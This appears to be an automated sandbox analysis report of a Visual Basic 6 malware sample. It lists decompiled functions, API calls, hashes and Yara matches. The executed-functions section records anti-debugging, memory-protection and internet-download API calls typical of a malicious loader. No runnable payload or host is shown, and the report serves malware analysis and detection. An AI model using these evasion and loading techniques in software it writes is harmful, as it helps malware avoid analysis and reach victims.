                    • __vbaFreeObj.MSVBVM60 ref: 004143DB
                    • __vbaFreeStr.MSVBVM60(00414403), ref: 004143FD
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$Free$CheckChkstkCopyHresultNew2
                    • String ID:
                    • API String ID: 2810356740-0
                    • Opcode ID: 7359f71f3d187615599cbd0be5a63a494fce28b452e66db4087f3d82b2f6f883
                    • Instruction ID: 3412d5908701a4b364ad1c8ac582ab9db695955fef047059ba96097ca09539a5
                    • Opcode Fuzzy Hash: 7359f71f3d187615599cbd0be5a63a494fce28b452e66db4087f3d82b2f6f883
                    • Instruction Fuzzy Hash: 8621F974A00208AFCB00EFA5D895BDDBFB4BB48714F14456AF511B72A1CB795885CF58
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 66%
                    			E004159DA(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a8) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				intOrPtr _v16;
                    				void* _v28;
                    				intOrPtr _v32;
                    				char _v36;
                    				intOrPtr* _v40;
                    				signed int _v44;
                    				intOrPtr* _v56;
                    				signed int _v60;
                    				char* _t37;
                    				signed int _t40;
                    				void* _t51;
                    				void* _t53;
                    				intOrPtr _t54;
                    
                    				_t54 = _t53 - 0xc;
                    				 *[fs:0x0] = _t54;
                    				L004014B0();
                    				_v16 = _t54;
                    				_v12 = 0x4012d0;
                    				_v8 = 0;
                    				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x24,  *[fs:0x0], 0x4014b6, _t51);
                    				L00401684();
                    				if( *0x419010 != 0) {
                    					_v56 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v56 = 0x419010;
                    				}
                    				_t37 =  &_v36;
                    				L0040169C();
                    				_v40 = _t37;
                    				_t40 =  *((intOrPtr*)( *_v40 + 0x184))(_v40, _t37,  *((intOrPtr*)( *((intOrPtr*)( *_v56)) + 0x308))( *_v56));
                    				asm("fclex");
                    				_v44 = _t40;
                    				if(_v44 >= 0) {
                    					_v60 = _v60 & 0x00000000;
                    				} else {
                    					_push(0x184);
                    					_push(0x4113bc);
                    					_push(_v40);
                    					_push(_v44);
                    					L00401690();
                    					_v60 = _t40;
                    				}
                    				L0040168A();
                    				_v32 =  *0x4012c8;
                    				asm("wait");
                    				_push(0x415acf);
                    				L0040165A();
                    				return _t40;
                    			}


















                    0x004159dd
                    0x004159ec
                    0x004159f6
                    0x004159fe
                    0x00415a01
                    0x00415a08
                    0x00415a17
                    0x00415a20
                    0x00415a2c
                    0x00415a46
                    0x00415a2e
                    0x00415a2e
                    0x00415a33
                    0x00415a38
                    0x00415a3d
                    0x00415a3d
                    0x00415a61
                    0x00415a65
                    0x00415a6a
                    0x00415a75
                    0x00415a7b
                    0x00415a7d
                    0x00415a84
                    0x00415aa0
                    0x00415a86
                    0x00415a86
                    0x00415a8b
                    0x00415a90
                    0x00415a93
                    0x00415a96
                    0x00415a9b
                    0x00415a9b
                    0x00415aa7
                    0x00415ab2
                    0x00415ab5
                    0x00415ab6
                    0x00415ac9
                    0x00415ace

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 004159F6
                    • __vbaStrCopy.MSVBVM60(?,?,?,?,004014B6), ref: 00415A20
                    • __vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00415A38
                    • __vbaObjSet.MSVBVM60(?,00000000), ref: 00415A65
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004113BC,00000184), ref: 00415A96
                    • __vbaFreeObj.MSVBVM60 ref: 00415AA7
                    • __vbaFreeStr.MSVBVM60(00415ACF), ref: 00415AC9
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$Free$CheckChkstkCopyHresultNew2
                    • String ID:
                    • API String ID: 2810356740-0
                    • Opcode ID: dcee62bb8aae451d0440f350a84fbb824c7c6c3987909ad9e132316ce38cb798
                    • Instruction ID: a61f8b25da53bcde4b2cb40423201cdb3171037f1913bbf2908a59e9b806f5be
                    • Opcode Fuzzy Hash: dcee62bb8aae451d0440f350a84fbb824c7c6c3987909ad9e132316ce38cb798
                    • Instruction Fuzzy Hash: 4B212774940208EFCB00EF94C999BDDBBB9BF48744F24456AF501B72A1CB799980CB58
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 53%
                    			E00416B0D(void* __ebx, void* __ecx, void* __edi, void* __esi) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				intOrPtr _v24;
                    				char _v28;
                    				intOrPtr* _v32;
                    				signed int _v36;
                    				intOrPtr* _v44;
                    				signed int _v48;
                    				char* _t27;
                    				signed int _t30;
                    				intOrPtr _t41;
                    
                    				_push(0x4014b6);
                    				_push( *[fs:0x0]);
                    				 *[fs:0x0] = _t41;
                    				_push(0x1c);
                    				L004014B0();
                    				_v12 = _t41;
                    				_v8 = 0x401360;
                    				if( *0x419010 != 0) {
                    					_v44 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v44 = 0x419010;
                    				}
                    				_t27 =  &_v28;
                    				L0040169C();
                    				_v32 = _t27;
                    				_t30 =  *((intOrPtr*)( *_v32 + 0x1d4))(_v32, _t27,  *((intOrPtr*)( *((intOrPtr*)( *_v44)) + 0x374))( *_v44));
                    				asm("fclex");
                    				_v36 = _t30;
                    				if(_v36 >= 0) {
                    					_v48 = _v48 & 0x00000000;
                    				} else {
                    					_push(0x1d4);
                    					_push(0x4113ac);
                    					_push(_v32);
                    					_push(_v36);
                    					L00401690();
                    					_v48 = _t30;
                    				}
                    				L0040168A();
                    				_v24 =  *0x401358;
                    				asm("wait");
                    				_push(0x416bdc);
                    				return _t30;
                    			}














                    0x00416b12
                    0x00416b1d
                    0x00416b1e
                    0x00416b25
                    0x00416b28
                    0x00416b30
                    0x00416b33
                    0x00416b41
                    0x00416b5b
                    0x00416b43
                    0x00416b43
                    0x00416b48
                    0x00416b4d
                    0x00416b52
                    0x00416b52
                    0x00416b76
                    0x00416b7a
                    0x00416b7f
                    0x00416b8a
                    0x00416b90
                    0x00416b92
                    0x00416b99
                    0x00416bb5
                    0x00416b9b
                    0x00416b9b
                    0x00416ba0
                    0x00416ba5
                    0x00416ba8
                    0x00416bab
                    0x00416bb0
                    0x00416bb0
                    0x00416bbc
                    0x00416bc7
                    0x00416bca
                    0x00416bcb
                    0x00000000

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 00416B28
                    • __vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00416B4D
                    • __vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,004014B6), ref: 00416B7A
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,004113AC,000001D4,?,?,?,?,?,?,?,004014B6), ref: 00416BAB
                    • __vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,004014B6), ref: 00416BBC
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$CheckChkstkFreeHresultNew2
                    • String ID:
                    • API String ID: 4127847336-0
                    • Opcode ID: 7034bd1fbe98529711700412e5f48c57738771208dc822e8aa5eddbe1ec5f50c
                    • Instruction ID: 1e26841ed3f17b7d347c37ba03e52726efe5d23fee25d608bbcac344a9ff8b72
                    • Opcode Fuzzy Hash: 7034bd1fbe98529711700412e5f48c57738771208dc822e8aa5eddbe1ec5f50c
                    • Instruction Fuzzy Hash: B221F9B0900218EFDB00DFA5C855BEEBBB8FB08714F15446AE501B72A0C77D6880DB69
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 54%
                    			E00413B04(void* __ebx, void* __ecx, void* __edi, void* __esi) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				char _v24;
                    				intOrPtr* _v28;
                    				signed int _v32;
                    				intOrPtr* _v40;
                    				signed int _v44;
                    				char* _t26;
                    				signed int _t29;
                    				intOrPtr _t40;
                    
                    				_push(0x4014b6);
                    				_push( *[fs:0x0]);
                    				 *[fs:0x0] = _t40;
                    				_push(0x18);
                    				L004014B0();
                    				_v12 = _t40;
                    				_v8 = 0x401160;
                    				if( *0x419010 != 0) {
                    					_v40 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v40 = 0x419010;
                    				}
                    				_t26 =  &_v24;
                    				L0040169C();
                    				_v28 = _t26;
                    				_t29 =  *((intOrPtr*)( *_v28 + 0x1ec))(_v28, _t26,  *((intOrPtr*)( *((intOrPtr*)( *_v40)) + 0x33c))( *_v40));
                    				asm("fclex");
                    				_v32 = _t29;
                    				if(_v32 >= 0) {
                    					_v44 = _v44 & 0x00000000;
                    				} else {
                    					_push(0x1ec);
                    					_push(0x411324);
                    					_push(_v28);
                    					_push(_v32);
                    					L00401690();
                    					_v44 = _t29;
                    				}
                    				L0040168A();
                    				_push(0x413bc9);
                    				return _t29;
                    			}













                    0x00413b09
                    0x00413b14
                    0x00413b15
                    0x00413b1c
                    0x00413b1f
                    0x00413b27
                    0x00413b2a
                    0x00413b38
                    0x00413b52
                    0x00413b3a
                    0x00413b3a
                    0x00413b3f
                    0x00413b44
                    0x00413b49
                    0x00413b49
                    0x00413b6d
                    0x00413b71
                    0x00413b76
                    0x00413b81
                    0x00413b87
                    0x00413b89
                    0x00413b90
                    0x00413bac
                    0x00413b92
                    0x00413b92
                    0x00413b97
                    0x00413b9c
                    0x00413b9f
                    0x00413ba2
                    0x00413ba7
                    0x00413ba7
                    0x00413bb3
                    0x00413bb8
                    0x00000000

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 00413B1F
                    • __vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00413B44
                    • __vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,004014B6), ref: 00413B71
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,00411324,000001EC,?,?,?,?,?,?,004014B6), ref: 00413BA2
                    • __vbaFreeObj.MSVBVM60(?,?,?,?,?,?,004014B6), ref: 00413BB3
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$CheckChkstkFreeHresultNew2
                    • String ID:
                    • API String ID: 4127847336-0
                    • Opcode ID: 9d6919362d2eca356bd44e55ef7c717b87fe89598f4c8abb27f7c4be74583684
                    • Instruction ID: 5392bee785bb50d93a3dc52a77d0b9b48e8b60d2ebacaaa0563cd3fc60bd0afc
                    • Opcode Fuzzy Hash: 9d6919362d2eca356bd44e55ef7c717b87fe89598f4c8abb27f7c4be74583684
                    • Instruction Fuzzy Hash: 32110070900208EFCB00DF91C856FEE7BF8EB08715F20446AF101B72A1D7796A81DB69
                    Uniqueness

                    Uniqueness Score: -1.00%

                    C-Code - Quality: 54%
                    			E00413BDC(void* __ebx, void* __ecx, void* __edi, void* __esi) {
                    				intOrPtr _v8;
                    				intOrPtr _v12;
                    				char _v24;
                    				intOrPtr* _v28;
                    				signed int _v32;
                    				intOrPtr* _v40;
                    				signed int _v44;
                    				char* _t26;
                    				signed int _t29;
                    				intOrPtr _t40;
                    
                    				_push(0x4014b6);
                    				_push( *[fs:0x0]);
                    				 *[fs:0x0] = _t40;
                    				_push(0x18);
                    				L004014B0();
                    				_v12 = _t40;
                    				_v8 = 0x401170;
                    				if( *0x419010 != 0) {
                    					_v40 = 0x419010;
                    				} else {
                    					_push(0x419010);
                    					_push(0x41192c);
                    					L00401696();
                    					_v40 = 0x419010;
                    				}
                    				_t26 =  &_v24;
                    				L0040169C();
                    				_v28 = _t26;
                    				_t29 =  *((intOrPtr*)( *_v28 + 0x1d0))(_v28, _t26,  *((intOrPtr*)( *((intOrPtr*)( *_v40)) + 0x344))( *_v40));
                    				asm("fclex");
                    				_v32 = _t29;
                    				if(_v32 >= 0) {
                    					_v44 = _v44 & 0x00000000;
                    				} else {
                    					_push(0x1d0);
                    					_push(0x411334);
                    					_push(_v28);
                    					_push(_v32);
                    					L00401690();
                    					_v44 = _t29;
                    				}
                    				L0040168A();
                    				_push(0x413ca1);
                    				return _t29;
                    			}













                    0x00413be1
                    0x00413bec
                    0x00413bed
                    0x00413bf4
                    0x00413bf7
                    0x00413bff
                    0x00413c02
                    0x00413c10
                    0x00413c2a
                    0x00413c12
                    0x00413c12
                    0x00413c17
                    0x00413c1c
                    0x00413c21
                    0x00413c21
                    0x00413c45
                    0x00413c49
                    0x00413c4e
                    0x00413c59
                    0x00413c5f
                    0x00413c61
                    0x00413c68
                    0x00413c84
                    0x00413c6a
                    0x00413c6a
                    0x00413c6f
                    0x00413c74
                    0x00413c77
                    0x00413c7a
                    0x00413c7f
                    0x00413c7f
                    0x00413c8b
                    0x00413c90
                    0x00000000

                    APIs
                    • __vbaChkstk.MSVBVM60(?,004014B6), ref: 00413BF7
                    • __vbaNew2.MSVBVM60(0041192C,00419010,?,?,?,?,004014B6), ref: 00413C1C
                    • __vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,004014B6), ref: 00413C49
                    • __vbaHresultCheckObj.MSVBVM60(00000000,?,00411334,000001D0,?,?,?,?,?,?,004014B6), ref: 00413C7A
                    • __vbaFreeObj.MSVBVM60(?,?,?,?,?,?,004014B6), ref: 00413C8B
                    Memory Dump Source
                    • Source File: 00000000.00000002.397624567.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000000.00000002.397616710.0000000000400000.00000002.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397667036.0000000000419000.00000004.00020000.sdmp Download File
                    • Associated: 00000000.00000002.397678090.000000000041A000.00000002.00020000.sdmp Download File
                    Similarity
                    • API ID: __vba$CheckChkstkFreeHresultNew2
                    • String ID:
                    • API String ID: 4127847336-0
                    • Opcode ID: 59c51f4ffe91db0d3e5d7759d281db22536a76fb6501f67d72bfc8624b726b3b
                    • Instruction ID: 6e74a487bf9d26bddb41e754e53bac24026982bf9de53b13f02debb43b9c3c57
                    • Opcode Fuzzy Hash: 59c51f4ffe91db0d3e5d7759d281db22536a76fb6501f67d72bfc8624b726b3b
                    • Instruction Fuzzy Hash: 4A110A75940208AFDB00DF95C946FEEBBB8FB08705F20446AF101B72A0D7795A81DBA9
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Executed Functions

                    APIs
                    Memory Dump Source
                    • Source File: 00000002.00000002.612154111.000000001CDB0000.00000040.00000001.sdmp, Offset: 1CDB0000, based on PE: false
                    Similarity
                    • API ID: InitializeThunk
                    • String ID:
                    • API String ID: 2994545307-0
                    • Opcode ID: 489f055d8651747d7a515017e648f7387b904fabba260890807a5139815fdd3d
                    • Instruction ID: 115ab2248a24671cad7d4226b5cf23000d44c6df5fe078bb755f393135005ec7
                    • Opcode Fuzzy Hash: 489f055d8651747d7a515017e648f7387b904fabba260890807a5139815fdd3d
                    • Instruction Fuzzy Hash: 3B620935E006198BCB14EF78C854B9DB7F1AF89304F1186A9D54AAB360EF31AD85CF51
                    Uniqueness

                    Uniqueness Score: -1.00%

                    APIs
                    • NtSetInformationThread.NTDLL ref: 00F85510
                    Memory Dump Source
                    • Source File: 00000002.00000002.608367607.0000000000F81000.00000040.00000001.sdmp, Offset: 00F81000, based on PE: false
                    Yara matches
                    Similarity
                    • API ID: InformationThread
                    • String ID:
                    • API String ID: 4046476035-0
                    • Opcode ID: 2dd1b0b114d2e1d43f30ac412379c4e16477c479d5a45e83ba313d9322b17b39
                    • Instruction ID: 0f04b9f3bf45dd2c4fddd6da92a3267f29e360241a38d1bf0a3d8e35e92683fc
                    • Opcode Fuzzy Hash: 2dd1b0b114d2e1d43f30ac412379c4e16477c479d5a45e83ba313d9322b17b39
                    • Instruction Fuzzy Hash: 61411D3F50A581ABD6307DA4BC07FFA235957096B6F482114E4BC6FA5082186CC3EEF2
                    Uniqueness

                    Uniqueness Score: -1.00%

                    APIs
                    • NtSetInformationThread.NTDLL ref: 00F85510
                    Memory Dump Source
                    • Source File: 00000002.00000002.608367607.0000000000F81000.00000040.00000001.sdmp, Offset: 00F81000, based on PE: false
                    Yara matches
                    Similarity
                    • API ID: InformationThread
                    • String ID:
                    • API String ID: 4046476035-0
                    • Opcode ID: c8927da7335f8836c450440ee6889268d41856f2afba2484949322f6bd61b8ec
                    • Instruction ID: ae8c6936508535bc0746a3918870aff4efb52d2f23ecd21d40647d68f3d9b9d6
                    • Opcode Fuzzy Hash: c8927da7335f8836c450440ee6889268d41856f2afba2484949322f6bd61b8ec
                    • Instruction Fuzzy Hash: 2141CD3F50A581ABD6347DA4BC07FEA635957096B6F486114E4BC2FA5082186CC3EEF2
                    Uniqueness

                    Uniqueness Score: -1.00%

                    APIs
                    • NtSetInformationThread.NTDLL ref: 00F85510
                    Memory Dump Source
                    • Source File: 00000002.00000002.608367607.0000000000F81000.00000040.00000001.sdmp, Offset: 00F81000, based on PE: false
                    Yara matches
                    Similarity
                    • API ID: InformationThread
                    • String ID:
                    • API String ID: 4046476035-0
                    • Opcode ID: f39365f76a92c384f42561d02a90f511830f97eda860efaa28585385d2d73331
                    • Instruction ID: dbae4bee69b36eb773f5cf7d6324da0aa5528c689893bdc50fc182e6e550e895
                    • Opcode Fuzzy Hash: f39365f76a92c384f42561d02a90f511830f97eda860efaa28585385d2d73331
                    • Instruction Fuzzy Hash: 9041DC3F50A581ABD6347DA4BC07FFA635957196B6F482114E4BC2FA5082186CC3EEF2
                    Uniqueness

                    Uniqueness Score: -1.00%

                    APIs
                    • NtSetInformationThread.NTDLL ref: 00F85510
                    Memory Dump Source
                    • Source File: 00000002.00000002.608367607.0000000000F81000.00000040.00000001.sdmp, Offset: 00F81000, based on PE: false
                    Yara matches
                    Similarity
                    • API ID: InformationThread
                    • String ID:
                    • API String ID: 4046476035-0
                    • Opcode ID: 28585727bcb58a16d4504a81eb99a4f6519dedc56ccbe1edc8011ea54ae97ef5
                    • Instruction ID: 32f00b27406bc0ef7b19dfaa89dc9faa08f68fc9c7f8e604634b0d99acb3c90f
                    • Opcode Fuzzy Hash: 28585727bcb58a16d4504a81eb99a4f6519dedc56ccbe1edc8011ea54ae97ef5
                    • Instruction Fuzzy Hash: 3F21D335E00E06CFEF29AE68C8587E4B6E3AF51B39F6D5228D8059F191C37888C5E740
                    Uniqueness

                    Uniqueness Score: -1.00%

                    APIs
                    • NtProtectVirtualMemory.NTDLL(000000FF,?,?,?,?,00F84A24,00000040,00F81C11,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00F84E20
                    Memory Dump Source
                    • Source File: 00000002.00000002.608367607.0000000000F81000.00000040.00000001.sdmp, Offset: 00F81000, based on PE: false
                    Yara matches
                    Similarity
                    • API ID: MemoryProtectVirtual
                    • String ID:
                    • API String ID: 2706961497-0
                    • Opcode ID: a78abbb85f94ead657e0bc70dedec558cc72e12d4b27a68168c1e001d587ddff
                    • Instruction ID: 8f5be131a22dbd2915fdb11b102d5d31c6b110a07b1c5addfdb7a0585f941792
                    • Opcode Fuzzy Hash: a78abbb85f94ead657e0bc70dedec558cc72e12d4b27a68168c1e001d587ddff
                    • Instruction Fuzzy Hash: 37C012E02240002E68048A28CD48C2BB2AA86C4A28B10C32CB832222CCC930EC048032
                    Uniqueness

                    Uniqueness Score: -1.00%

                    APIs
                    • InternetOpenA.WININET(00F82EC9,00000000,00000000,00000000,00000000), ref: 00F829A2
                    • InternetOpenUrlA.WININET(?,?,00000000,84000100,00000000,?,?,00000002,?,00000004), ref: 00F82A33
                    Memory Dump Source
                    • Source File: 00000002.00000002.608367607.0000000000F81000.00000040.00000001.sdmp, Offset: 00F81000, based on PE: false
                    Yara matches
                    Similarity
                    • API ID: InternetOpen
                    • String ID:
                    • API String ID: 2038078732-0
                    • Opcode ID: 85e594ad08eea0342bd2743225f45a3494311782a4b5d12db6e79a896326912d
                    • Instruction ID: 3e40bc2cbe45100c31e07054a860eedc12313c1b5a35c612e0ec7d632302c8a0
                    • Opcode Fuzzy Hash: 85e594ad08eea0342bd2743225f45a3494311782a4b5d12db6e79a896326912d
                    • Instruction Fuzzy Hash: BE318F74240387ABEF71AE64CD51FEE36A5AF44790F148425BE49DA191EB70D940FB10
                    Uniqueness

                    Uniqueness Score: -1.00%

                    APIs
                    Memory Dump Source
                    • Source File: 00000002.00000002.609198165.00000000013A0000.00000040.00000001.sdmp, Offset: 013A0000, based on PE: false
                    Similarity
                    • API ID: InitializeThunk
                    • String ID:
                    • API String ID: 2994545307-0
                    • Opcode ID: 5d2e5f319da8d9ba5e4ecacf954ea9739907aee471b33f178dbbd308d3cb512c
                    • Instruction ID: 804b9ed8630434dc87e252d6b5623817410e2580e874d2d10b4b1fa16d3b3777
                    • Opcode Fuzzy Hash: 5d2e5f319da8d9ba5e4ecacf954ea9739907aee471b33f178dbbd308d3cb512c
                    • Instruction Fuzzy Hash: 37B13830B482459FC7059B78C858BAE7BB6EF86308F1585B6D145CF292DB35EC098762
                    Uniqueness

                    Uniqueness Score: -1.00%

                    APIs
                    Memory Dump Source
                    • Source File: 00000002.00000002.609161988.0000000001390000.00000040.00000001.sdmp, Offset: 01390000, based on PE: false
                    Similarity
                    • API ID: InitializeThunk
                    • String ID:
                    • API String ID: 2994545307-0
                    • Opcode ID: 81a4a27e95e2271daa9eaa18b91726bf4c1c1983d648ea53dd5f2f8c2695ddff
                    • Instruction ID: bea8ad1b6ec8043d3051b37de03a2831fd7d7c4893404108d5dce88e1b9588d0
                    • Opcode Fuzzy Hash: 81a4a27e95e2271daa9eaa18b91726bf4c1c1983d648ea53dd5f2f8c2695ddff
                    • Instruction Fuzzy Hash: 0E615D34A1021DDBDF14DFB8C498BAEBBB6BF88349F118529D406A7790DB389845CB91
                    Uniqueness

                    Uniqueness Score: -1.00%

                    APIs
                    • RegQueryValueExW.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 01390F09
                    Memory Dump Source
                    • Source File: 00000002.00000002.609161988.0000000001390000.00000040.00000001.sdmp, Offset: 01390000, based on PE: false
                    Similarity
                    • API ID: QueryValue
                    • String ID:
                    • API String ID: 3660427363-0
                    • Opcode ID: e53b2af5ce98ab68b66c592529cdaca7de90a2e95a09963955be93219b638c49
                    • Instruction ID: cd91f751a3c52eb9b6e766283c0b00e6998884af4135632867be4322a6bf525e
                    • Opcode Fuzzy Hash: e53b2af5ce98ab68b66c592529cdaca7de90a2e95a09963955be93219b638c49
                    • Instruction Fuzzy Hash: 2A4149B1C053589FCF15CFA9C890ACEBFB5BF09318F0584AAE959AB251D7309909CB91
                    Uniqueness

                    Uniqueness Score: -1.00%

                    APIs
                    Memory Dump Source
                    • Source File: 00000002.00000002.609161988.0000000001390000.00000040.00000001.sdmp, Offset: 01390000, based on PE: false
                    Similarity
                    • API ID: InitializeThunk
                    • String ID:
                    • API String ID: 2994545307-0
                    • Opcode ID: f65f8ed8173ef8f4178e5069841f1ca61c7f142cc6b4a2edecfb62997b8327a9
                    • Instruction ID: 7cf5201c5cfcad2826390446c36e1de2da8c412aa346169e244a22ff0bb867bc
                    • Opcode Fuzzy Hash: f65f8ed8173ef8f4178e5069841f1ca61c7f142cc6b4a2edecfb62997b8327a9
                    • Instruction Fuzzy Hash: 4031B330A053489FDB05CF78C859BEDBBF1FF46308F1285AAD0059B6A2D7399849CB51
                    Uniqueness

                    Uniqueness Score: -1.00%

                    APIs
                    • RegQueryValueExW.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 01390F09
                    Memory Dump Source
                    • Source File: 00000002.00000002.609161988.0000000001390000.00000040.00000001.sdmp, Offset: 01390000, based on PE: false
                    Similarity
                    • API ID: QueryValue
                    • String ID:
                    • API String ID: 3660427363-0
                    • Opcode ID: 4f5a26c3c3801a3cf9b526aa71b7becac59d0dc56823bb93b9bb8a6472ac0ff7
                    • Instruction ID: a65d034bd163fe4990718f56e269d56fda14f7d2ba40e5705ca39779d69d7565
                    • Opcode Fuzzy Hash: 4f5a26c3c3801a3cf9b526aa71b7becac59d0dc56823bb93b9bb8a6472ac0ff7
                    • Instruction Fuzzy Hash: 2831DDB1D002589FCB14CF9AC884A9EFFF9BF48714F14802AE819AB310D7749909CFA0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    APIs
                    • TerminateThread.KERNEL32(000000FE,00000000), ref: 00F818E3
                    Memory Dump Source
                    • Source File: 00000002.00000002.608367607.0000000000F81000.00000040.00000001.sdmp, Offset: 00F81000, based on PE: false
                    Yara matches
                    Similarity
                    • API ID: TerminateThread
                    • String ID:
                    • API String ID: 1852365436-0
                    • Opcode ID: 43e8bb7e2753c33097985d701728d457fa649809bd31edae12b4765425bc2929
                    • Instruction ID: 34c3856ef9566b1ef8942217d5545f0dedae847f8391e71d43cd11dd75318cfa
                    • Opcode Fuzzy Hash: 43e8bb7e2753c33097985d701728d457fa649809bd31edae12b4765425bc2929
                    • Instruction Fuzzy Hash: CE1102716003009FEB64AA28CDDABDD3794EF1A374F2543A1ED51CB1E2E774E881A721
                    Uniqueness

                    Uniqueness Score: -1.00%

                    APIs
                    • TerminateThread.KERNEL32(000000FE,00000000), ref: 00F818E3
                    Memory Dump Source
                    • Source File: 00000002.00000002.608367607.0000000000F81000.00000040.00000001.sdmp, Offset: 00F81000, based on PE: false
                    Yara matches
                    Similarity
                    • API ID: TerminateThread
                    • String ID:
                    • API String ID: 1852365436-0
                    • Opcode ID: 36862de30cc52e2e4dc0686069025756eb47720a9fc45f36cf45c8d162b4c60b
                    • Instruction ID: 9f7694f9e28c8fc2d5d344482842edd35deafb7be5f6c29f9168d3837b3cd7e6
                    • Opcode Fuzzy Hash: 36862de30cc52e2e4dc0686069025756eb47720a9fc45f36cf45c8d162b4c60b
                    • Instruction Fuzzy Hash: 381102716003009FEB64AA28CDDABDD3394EF1A374F254361ED11C71E2E774E881A711
                    Uniqueness

                    Uniqueness Score: -1.00%

                    APIs
                    • LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,?,?,00000000,?,1CDA7719,00000800), ref: 1CDA77AA
                    Memory Dump Source
                    • Source File: 00000002.00000002.612125170.000000001CDA0000.00000040.00000001.sdmp, Offset: 1CDA0000, based on PE: false
                    Similarity
                    • API ID: LibraryLoad
                    • String ID:
                    • API String ID: 1029625771-0
                    • Opcode ID: d467969b230812702c72e591cc12ee7fcdaaf0cb781ef375984f5eeb3329b6eb
                    • Instruction ID: 935f4013b41b2e0c645596ff9dcd52bbe2c7c880492ad31b3a3f55e5fd2dc741
                    • Opcode Fuzzy Hash: d467969b230812702c72e591cc12ee7fcdaaf0cb781ef375984f5eeb3329b6eb
                    • Instruction Fuzzy Hash: 1D1103B6D002089FDB10CF99D844BEEFBF4AB88310F11852ED456A7210C375A946CFA4
                    Uniqueness

                    Uniqueness Score: -1.00%

                    APIs
                    • LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,?,?,00000000,?,1CDA7719,00000800), ref: 1CDA77AA
                    Memory Dump Source
                    • Source File: 00000002.00000002.612125170.000000001CDA0000.00000040.00000001.sdmp, Offset: 1CDA0000, based on PE: false
                    Similarity
                    • API ID: LibraryLoad
                    • String ID:
                    • API String ID: 1029625771-0
                    • Opcode ID: 1be59b8a0748e437c531bf2cba635e973001528965a4e601918f2c4d1e4e4e78
                    • Instruction ID: 91f1c62ea66c094b1953067c9e0cd36e701e5432fdc45181c49866aed35dfd95
                    • Opcode Fuzzy Hash: 1be59b8a0748e437c531bf2cba635e973001528965a4e601918f2c4d1e4e4e78
                    • Instruction Fuzzy Hash: 771117B6D002099FDB10CF9AC844BDEFBF4EB48310F11841AE556A7310C375A546CFA5
                    Uniqueness

                    Uniqueness Score: -1.00%

                    APIs
                    • GlobalMemoryStatusEx.KERNEL32(?,?,?,?,?,?,?,?,?,1CDBDBEA), ref: 1CDBDCD7
                    Memory Dump Source
                    • Source File: 00000002.00000002.612154111.000000001CDB0000.00000040.00000001.sdmp, Offset: 1CDB0000, based on PE: false
                    Similarity
                    • API ID: GlobalMemoryStatus
                    • String ID:
                    • API String ID: 1890195054-0
                    • Opcode ID: b3fb0669430d125040c1b1ba30fab3d2efc564aeb50e47036423320bd51ee996
                    • Instruction ID: b46ab2d14b20a2775a2e3c7867cab22d96907e15f0789933f05240d163f87bf9
